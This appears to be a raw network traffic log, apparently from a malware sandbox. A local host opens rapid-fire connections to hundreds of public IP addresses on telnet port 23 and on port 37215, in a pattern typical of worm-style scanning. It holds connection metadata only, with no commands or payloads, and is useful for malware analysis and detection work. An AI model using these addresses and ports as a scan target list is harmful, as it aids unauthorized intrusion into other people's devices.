Dec 3, 2024 23:16:48.816696882 CET	40602	23	192.168.2.23	92.158.40.190
Dec 3, 2024 23:16:48.816696882 CET	40602	23	192.168.2.23	204.116.38.6
Dec 3, 2024 23:16:48.816699982 CET	40602	23	192.168.2.23	162.42.53.46
Dec 3, 2024 23:16:48.816715956 CET	40602	23	192.168.2.23	20.130.133.191
Dec 3, 2024 23:16:48.816716909 CET	40602	23	192.168.2.23	19.230.175.64
Dec 3, 2024 23:16:48.816725016 CET	40602	23	192.168.2.23	94.37.230.100
Dec 3, 2024 23:16:48.816725016 CET	40602	23	192.168.2.23	184.11.175.217
Dec 3, 2024 23:16:48.816737890 CET	40602	23	192.168.2.23	123.118.181.194
Dec 3, 2024 23:16:48.816745043 CET	40602	23	192.168.2.23	206.72.209.171
Dec 3, 2024 23:16:48.816745043 CET	40602	23	192.168.2.23	86.233.79.75
Dec 3, 2024 23:16:48.816756010 CET	40602	23	192.168.2.23	134.180.124.117
Dec 3, 2024 23:16:48.816757917 CET	40602	23	192.168.2.23	123.193.84.71
Dec 3, 2024 23:16:48.816771030 CET	40602	23	192.168.2.23	196.54.126.14
Dec 3, 2024 23:16:48.816771030 CET	40602	23	192.168.2.23	25.213.98.176
Dec 3, 2024 23:16:48.816785097 CET	40602	23	192.168.2.23	8.137.134.98
Dec 3, 2024 23:16:48.816787958 CET	40602	23	192.168.2.23	24.116.84.48
Dec 3, 2024 23:16:48.816788912 CET	40602	23	192.168.2.23	97.199.73.113
Dec 3, 2024 23:16:48.816806078 CET	40602	23	192.168.2.23	177.174.193.102
Dec 3, 2024 23:16:48.816807032 CET	40602	23	192.168.2.23	196.165.151.240
Dec 3, 2024 23:16:48.816807985 CET	40602	23	192.168.2.23	17.206.252.52
Dec 3, 2024 23:16:48.816807985 CET	40602	23	192.168.2.23	67.132.65.113
Dec 3, 2024 23:16:48.816816092 CET	40602	23	192.168.2.23	203.223.194.157
Dec 3, 2024 23:16:48.816819906 CET	40602	23	192.168.2.23	168.22.107.230
Dec 3, 2024 23:16:48.816826105 CET	40602	23	192.168.2.23	208.204.224.194
Dec 3, 2024 23:16:48.816836119 CET	40602	23	192.168.2.23	35.211.214.244
Dec 3, 2024 23:16:48.816844940 CET	40602	23	192.168.2.23	57.109.3.126
Dec 3, 2024 23:16:48.816854000 CET	40602	23	192.168.2.23	75.222.212.196
Dec 3, 2024 23:16:48.816858053 CET	40602	23	192.168.2.23	12.25.170.22
Dec 3, 2024 23:16:48.816859007 CET	40602	23	192.168.2.23	101.58.51.35
Dec 3, 2024 23:16:48.816859961 CET	40602	23	192.168.2.23	171.176.40.56
Dec 3, 2024 23:16:48.816864967 CET	40602	23	192.168.2.23	31.142.108.100
Dec 3, 2024 23:16:48.816864967 CET	40602	23	192.168.2.23	63.83.193.115
Dec 3, 2024 23:16:48.816868067 CET	40602	23	192.168.2.23	59.67.144.144
Dec 3, 2024 23:16:48.816874027 CET	40602	23	192.168.2.23	109.93.186.113
Dec 3, 2024 23:16:48.816874027 CET	40602	23	192.168.2.23	90.207.144.253
Dec 3, 2024 23:16:48.816874027 CET	40602	23	192.168.2.23	137.84.95.238
Dec 3, 2024 23:16:48.816895962 CET	40602	23	192.168.2.23	205.228.195.98
Dec 3, 2024 23:16:48.816895962 CET	40602	23	192.168.2.23	174.125.61.9
Dec 3, 2024 23:16:48.816898108 CET	40602	23	192.168.2.23	77.21.164.82
Dec 3, 2024 23:16:48.816898108 CET	40602	23	192.168.2.23	40.30.166.177
Dec 3, 2024 23:16:48.816898108 CET	40602	23	192.168.2.23	89.10.248.36
Dec 3, 2024 23:16:48.816898108 CET	40602	23	192.168.2.23	156.196.38.158
Dec 3, 2024 23:16:48.816900969 CET	40602	23	192.168.2.23	31.232.41.15
Dec 3, 2024 23:16:48.816901922 CET	40602	23	192.168.2.23	101.234.224.197
Dec 3, 2024 23:16:48.816905022 CET	40602	23	192.168.2.23	4.142.159.60
Dec 3, 2024 23:16:48.816910028 CET	40602	23	192.168.2.23	72.42.240.55
Dec 3, 2024 23:16:48.816924095 CET	40602	23	192.168.2.23	86.242.225.6
Dec 3, 2024 23:16:48.816926003 CET	40602	23	192.168.2.23	124.51.161.79
Dec 3, 2024 23:16:48.816929102 CET	40602	23	192.168.2.23	17.209.67.229
Dec 3, 2024 23:16:48.816930056 CET	40602	23	192.168.2.23	170.0.255.245
Dec 3, 2024 23:16:48.816936970 CET	40602	23	192.168.2.23	63.203.149.61
Dec 3, 2024 23:16:48.816946030 CET	40602	23	192.168.2.23	120.143.217.191
Dec 3, 2024 23:16:48.816955090 CET	40602	23	192.168.2.23	94.136.73.248
Dec 3, 2024 23:16:48.816957951 CET	40602	23	192.168.2.23	138.184.200.63
Dec 3, 2024 23:16:48.816962004 CET	40602	23	192.168.2.23	203.209.83.13
Dec 3, 2024 23:16:48.816962957 CET	40602	23	192.168.2.23	178.17.237.32
Dec 3, 2024 23:16:48.816970110 CET	40602	23	192.168.2.23	161.167.192.66
Dec 3, 2024 23:16:48.816971064 CET	40602	23	192.168.2.23	81.177.233.164
Dec 3, 2024 23:16:48.816972017 CET	40602	23	192.168.2.23	37.142.73.105
Dec 3, 2024 23:16:48.816977978 CET	40602	23	192.168.2.23	113.115.226.29
Dec 3, 2024 23:16:48.816977978 CET	40602	23	192.168.2.23	103.182.115.136
Dec 3, 2024 23:16:48.816979885 CET	40602	23	192.168.2.23	2.176.97.166
Dec 3, 2024 23:16:48.816979885 CET	40602	23	192.168.2.23	120.253.157.123
Dec 3, 2024 23:16:48.816983938 CET	40602	23	192.168.2.23	148.84.185.197
Dec 3, 2024 23:16:48.817001104 CET	40602	23	192.168.2.23	112.34.133.246
Dec 3, 2024 23:16:48.817006111 CET	40602	23	192.168.2.23	164.132.165.205
Dec 3, 2024 23:16:48.817008972 CET	40602	23	192.168.2.23	112.123.174.157
Dec 3, 2024 23:16:48.817023039 CET	40602	23	192.168.2.23	50.21.215.107
Dec 3, 2024 23:16:48.817027092 CET	40602	23	192.168.2.23	154.199.186.26
Dec 3, 2024 23:16:48.817029953 CET	40602	23	192.168.2.23	198.224.123.40
Dec 3, 2024 23:16:48.817039967 CET	40602	23	192.168.2.23	150.237.140.232
Dec 3, 2024 23:16:48.817040920 CET	40602	23	192.168.2.23	181.9.242.227
Dec 3, 2024 23:16:48.817047119 CET	40602	23	192.168.2.23	109.179.111.8
Dec 3, 2024 23:16:48.817055941 CET	40602	23	192.168.2.23	133.151.100.86
Dec 3, 2024 23:16:48.817055941 CET	40602	23	192.168.2.23	181.116.144.164
Dec 3, 2024 23:16:48.817066908 CET	40602	23	192.168.2.23	50.115.154.183
Dec 3, 2024 23:16:48.817080021 CET	40602	23	192.168.2.23	91.192.203.203
Dec 3, 2024 23:16:48.817082882 CET	40602	23	192.168.2.23	120.28.229.207
Dec 3, 2024 23:16:48.817085981 CET	40602	23	192.168.2.23	77.144.13.1
Dec 3, 2024 23:16:48.817090034 CET	40602	23	192.168.2.23	62.165.103.114
Dec 3, 2024 23:16:48.817097902 CET	40602	23	192.168.2.23	120.152.5.179
Dec 3, 2024 23:16:48.817107916 CET	40602	23	192.168.2.23	86.35.58.120
Dec 3, 2024 23:16:48.817111015 CET	40602	23	192.168.2.23	47.154.197.6
Dec 3, 2024 23:16:48.817115068 CET	40602	23	192.168.2.23	20.183.248.207
Dec 3, 2024 23:16:48.817128897 CET	40602	23	192.168.2.23	37.209.236.80
Dec 3, 2024 23:16:48.817128897 CET	40602	23	192.168.2.23	119.156.198.84
Dec 3, 2024 23:16:48.817130089 CET	40602	23	192.168.2.23	94.94.127.198
Dec 3, 2024 23:16:48.817137003 CET	40602	23	192.168.2.23	104.178.39.184
Dec 3, 2024 23:16:48.817141056 CET	40602	23	192.168.2.23	165.174.169.179
Dec 3, 2024 23:16:48.817141056 CET	40602	23	192.168.2.23	36.181.232.66
Dec 3, 2024 23:16:48.817161083 CET	40602	23	192.168.2.23	130.105.247.255
Dec 3, 2024 23:16:48.817161083 CET	40602	23	192.168.2.23	136.159.239.176
Dec 3, 2024 23:16:48.817162037 CET	40602	23	192.168.2.23	76.240.114.2
Dec 3, 2024 23:16:48.817173004 CET	40602	23	192.168.2.23	146.222.169.10
Dec 3, 2024 23:16:48.817182064 CET	40602	23	192.168.2.23	183.154.81.180
Dec 3, 2024 23:16:48.817184925 CET	40602	23	192.168.2.23	45.119.114.123
Dec 3, 2024 23:16:48.817198992 CET	40602	23	192.168.2.23	209.64.133.73
Dec 3, 2024 23:16:48.817198992 CET	40602	23	192.168.2.23	219.250.117.123
Dec 3, 2024 23:16:48.817204952 CET	40602	23	192.168.2.23	137.173.116.160
Dec 3, 2024 23:16:48.817213058 CET	40602	23	192.168.2.23	193.75.187.58
Dec 3, 2024 23:16:48.817224026 CET	40602	23	192.168.2.23	101.30.115.138
Dec 3, 2024 23:16:48.817250013 CET	40602	23	192.168.2.23	198.5.141.226
Dec 3, 2024 23:16:48.817251921 CET	40602	23	192.168.2.23	163.135.30.8
Dec 3, 2024 23:16:48.817259073 CET	40602	23	192.168.2.23	180.130.224.197
Dec 3, 2024 23:16:48.817264080 CET	40602	23	192.168.2.23	103.211.126.69
Dec 3, 2024 23:16:48.817266941 CET	40602	23	192.168.2.23	101.115.175.47
Dec 3, 2024 23:16:48.817274094 CET	40602	23	192.168.2.23	48.76.157.54
Dec 3, 2024 23:16:48.817286015 CET	40602	23	192.168.2.23	51.237.1.182
Dec 3, 2024 23:16:48.817286968 CET	40602	23	192.168.2.23	64.231.165.181
Dec 3, 2024 23:16:48.817290068 CET	40602	23	192.168.2.23	105.21.31.165
Dec 3, 2024 23:16:48.817307949 CET	40602	23	192.168.2.23	207.28.162.83
Dec 3, 2024 23:16:48.817312002 CET	40602	23	192.168.2.23	65.235.255.163
Dec 3, 2024 23:16:48.817312002 CET	40602	23	192.168.2.23	150.135.102.227
Dec 3, 2024 23:16:48.817312956 CET	40602	23	192.168.2.23	199.136.21.61
Dec 3, 2024 23:16:48.817315102 CET	40602	23	192.168.2.23	92.35.218.241
Dec 3, 2024 23:16:48.817325115 CET	40602	23	192.168.2.23	128.101.178.58
Dec 3, 2024 23:16:48.817327976 CET	40602	23	192.168.2.23	50.236.219.48
Dec 3, 2024 23:16:48.817339897 CET	40602	23	192.168.2.23	85.207.207.40
Dec 3, 2024 23:16:48.817339897 CET	40602	23	192.168.2.23	145.183.78.184
Dec 3, 2024 23:16:48.817339897 CET	40602	23	192.168.2.23	46.67.41.249
Dec 3, 2024 23:16:48.817341089 CET	40602	23	192.168.2.23	99.237.49.174
Dec 3, 2024 23:16:48.817341089 CET	40602	23	192.168.2.23	129.2.238.13
Dec 3, 2024 23:16:48.817348003 CET	40602	23	192.168.2.23	131.56.253.177
Dec 3, 2024 23:16:48.817353010 CET	40602	23	192.168.2.23	119.9.215.133
Dec 3, 2024 23:16:48.817354918 CET	40602	23	192.168.2.23	161.79.174.188
Dec 3, 2024 23:16:48.817354918 CET	40602	23	192.168.2.23	70.32.202.254
Dec 3, 2024 23:16:48.817356110 CET	40602	23	192.168.2.23	191.186.222.77
Dec 3, 2024 23:16:48.817356110 CET	40602	23	192.168.2.23	148.235.195.126
Dec 3, 2024 23:16:48.817356110 CET	40602	23	192.168.2.23	129.32.13.213
Dec 3, 2024 23:16:48.817356110 CET	40602	23	192.168.2.23	114.209.126.88
Dec 3, 2024 23:16:48.817361116 CET	40602	23	192.168.2.23	164.125.225.166
Dec 3, 2024 23:16:48.817364931 CET	40602	23	192.168.2.23	61.129.82.89
Dec 3, 2024 23:16:48.817364931 CET	40602	23	192.168.2.23	63.72.132.8
Dec 3, 2024 23:16:48.817368031 CET	40602	23	192.168.2.23	171.228.53.153
Dec 3, 2024 23:16:48.817372084 CET	40602	23	192.168.2.23	61.134.139.42
Dec 3, 2024 23:16:48.817375898 CET	40602	23	192.168.2.23	13.181.136.229
Dec 3, 2024 23:16:48.817382097 CET	40602	23	192.168.2.23	222.153.25.245
Dec 3, 2024 23:16:48.817382097 CET	40602	23	192.168.2.23	128.154.143.0
Dec 3, 2024 23:16:48.817382097 CET	40602	23	192.168.2.23	137.100.172.158
Dec 3, 2024 23:16:48.817395926 CET	40602	23	192.168.2.23	20.246.155.85
Dec 3, 2024 23:16:48.817395926 CET	40602	23	192.168.2.23	32.173.155.5
Dec 3, 2024 23:16:48.817399979 CET	40602	23	192.168.2.23	156.67.234.246
Dec 3, 2024 23:16:48.817413092 CET	40602	23	192.168.2.23	212.2.182.192
Dec 3, 2024 23:16:48.817413092 CET	40602	23	192.168.2.23	106.129.89.230
Dec 3, 2024 23:16:48.817414045 CET	40602	23	192.168.2.23	114.191.245.199
Dec 3, 2024 23:16:48.817420959 CET	40602	23	192.168.2.23	111.8.207.53
Dec 3, 2024 23:16:48.817428112 CET	40602	23	192.168.2.23	106.157.249.134
Dec 3, 2024 23:16:48.817441940 CET	40602	23	192.168.2.23	211.176.191.180
Dec 3, 2024 23:16:48.817444086 CET	40602	23	192.168.2.23	96.14.32.67
Dec 3, 2024 23:16:48.817444086 CET	40602	23	192.168.2.23	13.33.5.122
Dec 3, 2024 23:16:48.817444086 CET	40602	23	192.168.2.23	84.225.43.26
Dec 3, 2024 23:16:48.817445993 CET	40602	23	192.168.2.23	218.122.210.246
Dec 3, 2024 23:16:48.817445993 CET	40602	23	192.168.2.23	189.128.138.187
Dec 3, 2024 23:16:48.817451000 CET	40602	23	192.168.2.23	220.224.143.114
Dec 3, 2024 23:16:48.817455053 CET	40602	23	192.168.2.23	31.220.240.22
Dec 3, 2024 23:16:48.817455053 CET	40602	23	192.168.2.23	199.211.65.234
Dec 3, 2024 23:16:48.817464113 CET	40602	23	192.168.2.23	59.73.221.121
Dec 3, 2024 23:16:48.817466974 CET	40602	23	192.168.2.23	117.180.210.143
Dec 3, 2024 23:16:48.817466974 CET	40602	23	192.168.2.23	139.194.24.30
Dec 3, 2024 23:16:48.817475080 CET	40602	23	192.168.2.23	161.239.12.80
Dec 3, 2024 23:16:48.817476988 CET	40602	23	192.168.2.23	103.144.112.254
Dec 3, 2024 23:16:48.817476988 CET	40602	23	192.168.2.23	153.204.13.87
Dec 3, 2024 23:16:48.817481041 CET	40602	23	192.168.2.23	209.74.46.140
Dec 3, 2024 23:16:48.817481041 CET	40602	23	192.168.2.23	50.135.231.206
Dec 3, 2024 23:16:48.817483902 CET	40602	23	192.168.2.23	8.247.16.143
Dec 3, 2024 23:16:48.817488909 CET	40602	23	192.168.2.23	120.224.217.30
Dec 3, 2024 23:16:48.817488909 CET	40602	23	192.168.2.23	48.252.65.197
Dec 3, 2024 23:16:48.817495108 CET	40602	23	192.168.2.23	152.157.177.5
Dec 3, 2024 23:16:48.817497015 CET	40602	23	192.168.2.23	71.157.35.53
Dec 3, 2024 23:16:48.817497015 CET	40602	23	192.168.2.23	213.33.143.104
Dec 3, 2024 23:16:48.817497015 CET	40602	23	192.168.2.23	202.139.244.233
Dec 3, 2024 23:16:48.817497969 CET	40602	23	192.168.2.23	213.167.174.81
Dec 3, 2024 23:16:48.817498922 CET	40602	23	192.168.2.23	125.49.234.80
Dec 3, 2024 23:16:48.817498922 CET	40602	23	192.168.2.23	103.156.158.121
Dec 3, 2024 23:16:48.817513943 CET	40602	23	192.168.2.23	218.153.252.236
Dec 3, 2024 23:16:48.817517042 CET	40602	23	192.168.2.23	90.209.72.191
Dec 3, 2024 23:16:48.817523003 CET	40602	23	192.168.2.23	168.31.213.154
Dec 3, 2024 23:16:48.817527056 CET	40602	23	192.168.2.23	117.172.197.203
Dec 3, 2024 23:16:48.817543983 CET	40602	23	192.168.2.23	211.27.13.183
Dec 3, 2024 23:16:48.817544937 CET	40602	23	192.168.2.23	78.126.42.179
Dec 3, 2024 23:16:48.817544937 CET	40602	23	192.168.2.23	46.238.26.149
Dec 3, 2024 23:16:48.817555904 CET	40602	23	192.168.2.23	23.204.94.238
Dec 3, 2024 23:16:48.817558050 CET	40602	23	192.168.2.23	109.7.103.200
Dec 3, 2024 23:16:48.817570925 CET	40602	23	192.168.2.23	213.142.179.175
Dec 3, 2024 23:16:48.817573071 CET	40602	23	192.168.2.23	185.168.120.74
Dec 3, 2024 23:16:48.817590952 CET	40602	23	192.168.2.23	41.231.130.219
Dec 3, 2024 23:16:48.817591906 CET	40602	23	192.168.2.23	67.202.10.117
Dec 3, 2024 23:16:48.817595005 CET	40602	23	192.168.2.23	172.88.53.104
Dec 3, 2024 23:16:48.817595005 CET	40602	23	192.168.2.23	182.212.143.241
Dec 3, 2024 23:16:48.817608118 CET	40602	23	192.168.2.23	162.115.43.28
Dec 3, 2024 23:16:48.817608118 CET	40602	23	192.168.2.23	36.25.186.185
Dec 3, 2024 23:16:48.817614079 CET	40602	23	192.168.2.23	9.75.85.70
Dec 3, 2024 23:16:48.817615986 CET	40602	23	192.168.2.23	171.174.12.18
Dec 3, 2024 23:16:48.817627907 CET	40602	23	192.168.2.23	141.137.155.219
Dec 3, 2024 23:16:48.817631960 CET	40602	23	192.168.2.23	223.28.17.96
Dec 3, 2024 23:16:48.817635059 CET	40602	23	192.168.2.23	104.134.83.132
Dec 3, 2024 23:16:48.817648888 CET	40602	23	192.168.2.23	196.133.51.135
Dec 3, 2024 23:16:48.817648888 CET	40602	23	192.168.2.23	146.182.172.17
Dec 3, 2024 23:16:48.817652941 CET	40602	23	192.168.2.23	221.176.85.1
Dec 3, 2024 23:16:48.817658901 CET	40602	23	192.168.2.23	218.17.37.204
Dec 3, 2024 23:16:48.817662001 CET	40602	23	192.168.2.23	166.204.196.226
Dec 3, 2024 23:16:48.817662001 CET	40602	23	192.168.2.23	25.36.27.56
Dec 3, 2024 23:16:48.817665100 CET	40602	23	192.168.2.23	62.95.205.167
Dec 3, 2024 23:16:48.817667961 CET	40602	23	192.168.2.23	84.110.215.178
Dec 3, 2024 23:16:48.817667961 CET	40602	23	192.168.2.23	175.56.178.188
Dec 3, 2024 23:16:48.817673922 CET	40602	23	192.168.2.23	96.229.25.214
Dec 3, 2024 23:16:48.817673922 CET	40602	23	192.168.2.23	176.245.141.189
Dec 3, 2024 23:16:48.817686081 CET	40602	23	192.168.2.23	190.210.130.138
Dec 3, 2024 23:16:48.817693949 CET	40602	23	192.168.2.23	84.184.246.205
Dec 3, 2024 23:16:48.817694902 CET	40602	23	192.168.2.23	197.117.72.49
Dec 3, 2024 23:16:48.817702055 CET	40602	23	192.168.2.23	151.79.75.113
Dec 3, 2024 23:16:48.817712069 CET	40602	23	192.168.2.23	27.136.194.8
Dec 3, 2024 23:16:48.817713022 CET	40602	23	192.168.2.23	72.211.4.180
Dec 3, 2024 23:16:48.817713976 CET	40602	23	192.168.2.23	62.202.99.122
Dec 3, 2024 23:16:48.817714930 CET	40602	23	192.168.2.23	45.191.58.173
Dec 3, 2024 23:16:48.817714930 CET	40602	23	192.168.2.23	67.129.25.33
Dec 3, 2024 23:16:48.817718983 CET	40602	23	192.168.2.23	73.151.175.239
Dec 3, 2024 23:16:48.817718983 CET	40602	23	192.168.2.23	221.255.13.187
Dec 3, 2024 23:16:48.817722082 CET	40602	23	192.168.2.23	103.204.89.162
Dec 3, 2024 23:16:48.817728043 CET	40602	23	192.168.2.23	66.227.45.32
Dec 3, 2024 23:16:48.817734003 CET	40602	23	192.168.2.23	123.88.135.109
Dec 3, 2024 23:16:48.817745924 CET	40602	23	192.168.2.23	77.193.248.97
Dec 3, 2024 23:16:48.817745924 CET	40602	23	192.168.2.23	198.108.89.146
Dec 3, 2024 23:16:48.817747116 CET	40602	23	192.168.2.23	187.211.163.27
Dec 3, 2024 23:16:48.817747116 CET	40602	23	192.168.2.23	174.124.155.210
Dec 3, 2024 23:16:48.817748070 CET	40602	23	192.168.2.23	72.215.160.223
Dec 3, 2024 23:16:48.817748070 CET	40602	23	192.168.2.23	138.112.59.181
Dec 3, 2024 23:16:48.817758083 CET	40602	23	192.168.2.23	124.251.150.181
Dec 3, 2024 23:16:48.817769051 CET	40602	23	192.168.2.23	130.33.82.47
Dec 3, 2024 23:16:48.832654953 CET	37215	40597	156.127.13.240	192.168.2.23
Dec 3, 2024 23:16:48.832672119 CET	37215	40597	197.120.27.107	192.168.2.23
Dec 3, 2024 23:16:48.832681894 CET	37215	40597	197.3.73.65	192.168.2.23
Dec 3, 2024 23:16:48.832701921 CET	37215	40597	156.42.173.143	192.168.2.23
Dec 3, 2024 23:16:48.832710981 CET	37215	40597	156.47.233.200	192.168.2.23
Dec 3, 2024 23:16:48.832720041 CET	40597	37215	192.168.2.23	156.127.13.240
Dec 3, 2024 23:16:48.832720995 CET	37215	40597	156.225.40.131	192.168.2.23
Dec 3, 2024 23:16:48.832737923 CET	40597	37215	192.168.2.23	197.120.27.107
Dec 3, 2024 23:16:48.832746029 CET	40597	37215	192.168.2.23	156.47.233.200
Dec 3, 2024 23:16:48.832751989 CET	40597	37215	192.168.2.23	197.3.73.65
Dec 3, 2024 23:16:48.832772017 CET	40597	37215	192.168.2.23	156.42.173.143
Dec 3, 2024 23:16:48.832778931 CET	37215	40597	197.81.131.1	192.168.2.23
Dec 3, 2024 23:16:48.832786083 CET	40597	37215	192.168.2.23	156.225.40.131
Dec 3, 2024 23:16:48.832788944 CET	37215	40597	197.170.158.13	192.168.2.23
Dec 3, 2024 23:16:48.832798004 CET	37215	40597	156.196.177.232	192.168.2.23
Dec 3, 2024 23:16:48.832817078 CET	40597	37215	192.168.2.23	197.81.131.1
Dec 3, 2024 23:16:48.832818031 CET	40597	37215	192.168.2.23	197.170.158.13
Dec 3, 2024 23:16:48.832827091 CET	37215	40597	41.240.1.22	192.168.2.23
Dec 3, 2024 23:16:48.832834959 CET	40597	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:48.832835913 CET	37215	40597	197.45.230.253	192.168.2.23
Dec 3, 2024 23:16:48.832860947 CET	37215	40597	41.181.27.30	192.168.2.23
Dec 3, 2024 23:16:48.832868099 CET	40597	37215	192.168.2.23	41.240.1.22
Dec 3, 2024 23:16:48.832871914 CET	37215	40597	156.153.176.175	192.168.2.23
Dec 3, 2024 23:16:48.832875013 CET	40597	37215	192.168.2.23	197.45.230.253
Dec 3, 2024 23:16:48.832887888 CET	37215	40597	41.28.122.113	192.168.2.23
Dec 3, 2024 23:16:48.832896948 CET	37215	40597	197.142.95.104	192.168.2.23
Dec 3, 2024 23:16:48.832901955 CET	40597	37215	192.168.2.23	156.153.176.175
Dec 3, 2024 23:16:48.832904100 CET	37215	40597	156.54.52.64	192.168.2.23
Dec 3, 2024 23:16:48.832906008 CET	40597	37215	192.168.2.23	41.181.27.30
Dec 3, 2024 23:16:48.832927942 CET	40597	37215	192.168.2.23	41.28.122.113
Dec 3, 2024 23:16:48.832927942 CET	37215	40597	156.113.104.220	192.168.2.23
Dec 3, 2024 23:16:48.832937956 CET	37215	40597	197.48.57.207	192.168.2.23
Dec 3, 2024 23:16:48.832946062 CET	37215	40597	156.2.32.205	192.168.2.23
Dec 3, 2024 23:16:48.832948923 CET	40597	37215	192.168.2.23	197.142.95.104
Dec 3, 2024 23:16:48.832957029 CET	40597	37215	192.168.2.23	156.54.52.64
Dec 3, 2024 23:16:48.832973003 CET	40597	37215	192.168.2.23	197.48.57.207
Dec 3, 2024 23:16:48.832981110 CET	40597	37215	192.168.2.23	156.2.32.205
Dec 3, 2024 23:16:48.832983017 CET	37215	40597	41.23.152.112	192.168.2.23
Dec 3, 2024 23:16:48.832997084 CET	40597	37215	192.168.2.23	156.113.104.220
Dec 3, 2024 23:16:48.832998037 CET	37215	40597	197.81.114.155	192.168.2.23
Dec 3, 2024 23:16:48.833007097 CET	37215	40597	197.68.34.74	192.168.2.23
Dec 3, 2024 23:16:48.833019972 CET	40597	37215	192.168.2.23	41.23.152.112
Dec 3, 2024 23:16:48.833023071 CET	37215	40597	197.28.236.190	192.168.2.23
Dec 3, 2024 23:16:48.833035946 CET	40597	37215	192.168.2.23	197.68.34.74
Dec 3, 2024 23:16:48.833035946 CET	40597	37215	192.168.2.23	197.81.114.155
Dec 3, 2024 23:16:48.833036900 CET	37215	40597	41.118.107.113	192.168.2.23
Dec 3, 2024 23:16:48.833049059 CET	37215	40597	197.21.86.41	192.168.2.23
Dec 3, 2024 23:16:48.833070040 CET	37215	40597	197.165.144.19	192.168.2.23
Dec 3, 2024 23:16:48.833081961 CET	40597	37215	192.168.2.23	197.28.236.190
Dec 3, 2024 23:16:48.833084106 CET	37215	40597	156.100.226.34	192.168.2.23
Dec 3, 2024 23:16:48.833092928 CET	37215	40597	197.22.3.218	192.168.2.23
Dec 3, 2024 23:16:48.833101988 CET	40597	37215	192.168.2.23	41.118.107.113
Dec 3, 2024 23:16:48.833113909 CET	40597	37215	192.168.2.23	197.21.86.41
Dec 3, 2024 23:16:48.833121061 CET	40597	37215	192.168.2.23	197.165.144.19
Dec 3, 2024 23:16:48.833122969 CET	37215	40597	41.244.31.150	192.168.2.23
Dec 3, 2024 23:16:48.833132029 CET	37215	40597	156.151.133.165	192.168.2.23
Dec 3, 2024 23:16:48.833139896 CET	37215	40597	197.69.184.39	192.168.2.23
Dec 3, 2024 23:16:48.833142042 CET	40597	37215	192.168.2.23	156.100.226.34
Dec 3, 2024 23:16:48.833157063 CET	40597	37215	192.168.2.23	197.22.3.218
Dec 3, 2024 23:16:48.833157063 CET	40597	37215	192.168.2.23	156.151.133.165
Dec 3, 2024 23:16:48.833184004 CET	40597	37215	192.168.2.23	41.244.31.150
Dec 3, 2024 23:16:48.833194017 CET	37215	40597	197.101.175.187	192.168.2.23
Dec 3, 2024 23:16:48.833199978 CET	40597	37215	192.168.2.23	197.69.184.39
Dec 3, 2024 23:16:48.833203077 CET	37215	40597	156.204.86.66	192.168.2.23
Dec 3, 2024 23:16:48.833214045 CET	37215	40597	197.78.53.218	192.168.2.23
Dec 3, 2024 23:16:48.833225965 CET	40597	37215	192.168.2.23	197.101.175.187
Dec 3, 2024 23:16:48.833245993 CET	40597	37215	192.168.2.23	197.78.53.218
Dec 3, 2024 23:16:48.833245993 CET	40597	37215	192.168.2.23	156.204.86.66
Dec 3, 2024 23:16:48.833714962 CET	37215	40597	156.191.5.57	192.168.2.23
Dec 3, 2024 23:16:48.833724022 CET	37215	40597	197.36.174.121	192.168.2.23
Dec 3, 2024 23:16:48.833745003 CET	37215	40597	156.245.131.47	192.168.2.23
Dec 3, 2024 23:16:48.833754063 CET	37215	40597	156.43.87.207	192.168.2.23
Dec 3, 2024 23:16:48.833755970 CET	40597	37215	192.168.2.23	156.191.5.57
Dec 3, 2024 23:16:48.833756924 CET	40597	37215	192.168.2.23	197.36.174.121
Dec 3, 2024 23:16:48.833761930 CET	37215	40597	156.248.237.161	192.168.2.23
Dec 3, 2024 23:16:48.833771944 CET	37215	40597	156.142.132.70	192.168.2.23
Dec 3, 2024 23:16:48.833774090 CET	40597	37215	192.168.2.23	156.245.131.47
Dec 3, 2024 23:16:48.833781958 CET	37215	40597	41.193.178.53	192.168.2.23
Dec 3, 2024 23:16:48.833789110 CET	40597	37215	192.168.2.23	156.43.87.207
Dec 3, 2024 23:16:48.833792925 CET	40597	37215	192.168.2.23	156.248.237.161
Dec 3, 2024 23:16:48.833794117 CET	40597	37215	192.168.2.23	156.142.132.70
Dec 3, 2024 23:16:48.833822012 CET	40597	37215	192.168.2.23	41.193.178.53
Dec 3, 2024 23:16:48.834072113 CET	37215	40597	41.186.217.161	192.168.2.23
Dec 3, 2024 23:16:48.834081888 CET	37215	40597	41.199.42.109	192.168.2.23
Dec 3, 2024 23:16:48.834089994 CET	37215	40597	197.244.111.212	192.168.2.23
Dec 3, 2024 23:16:48.834099054 CET	37215	40597	156.7.96.193	192.168.2.23
Dec 3, 2024 23:16:48.834108114 CET	37215	40597	156.79.85.120	192.168.2.23
Dec 3, 2024 23:16:48.834111929 CET	40597	37215	192.168.2.23	41.186.217.161
Dec 3, 2024 23:16:48.834112883 CET	40597	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:48.834115982 CET	37215	40597	197.219.141.214	192.168.2.23
Dec 3, 2024 23:16:48.834120989 CET	37215	40597	156.48.44.46	192.168.2.23
Dec 3, 2024 23:16:48.834125042 CET	37215	40597	41.50.23.255	192.168.2.23
Dec 3, 2024 23:16:48.834131002 CET	40597	37215	192.168.2.23	197.244.111.212
Dec 3, 2024 23:16:48.834131002 CET	40597	37215	192.168.2.23	156.7.96.193
Dec 3, 2024 23:16:48.834132910 CET	37215	40597	41.105.12.144	192.168.2.23
Dec 3, 2024 23:16:48.834141970 CET	37215	57618	156.124.55.110	192.168.2.23
Dec 3, 2024 23:16:48.834150076 CET	37215	56492	41.50.74.64	192.168.2.23
Dec 3, 2024 23:16:48.834151030 CET	40597	37215	192.168.2.23	156.48.44.46
Dec 3, 2024 23:16:48.834151030 CET	40597	37215	192.168.2.23	41.50.23.255
Dec 3, 2024 23:16:48.834152937 CET	40597	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:48.834152937 CET	40597	37215	192.168.2.23	197.219.141.214
Dec 3, 2024 23:16:48.834158897 CET	37215	50796	156.213.87.168	192.168.2.23
Dec 3, 2024 23:16:48.834170103 CET	40597	37215	192.168.2.23	41.105.12.144
Dec 3, 2024 23:16:48.834178925 CET	57618	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:48.835009098 CET	23	59420	35.28.41.109	192.168.2.23
Dec 3, 2024 23:16:48.835052013 CET	59420	23	192.168.2.23	35.28.41.109
Dec 3, 2024 23:16:48.835076094 CET	40602	23	192.168.2.23	93.93.197.88
Dec 3, 2024 23:16:48.835077047 CET	40602	23	192.168.2.23	39.170.228.252
Dec 3, 2024 23:16:48.835077047 CET	40602	23	192.168.2.23	48.63.22.224
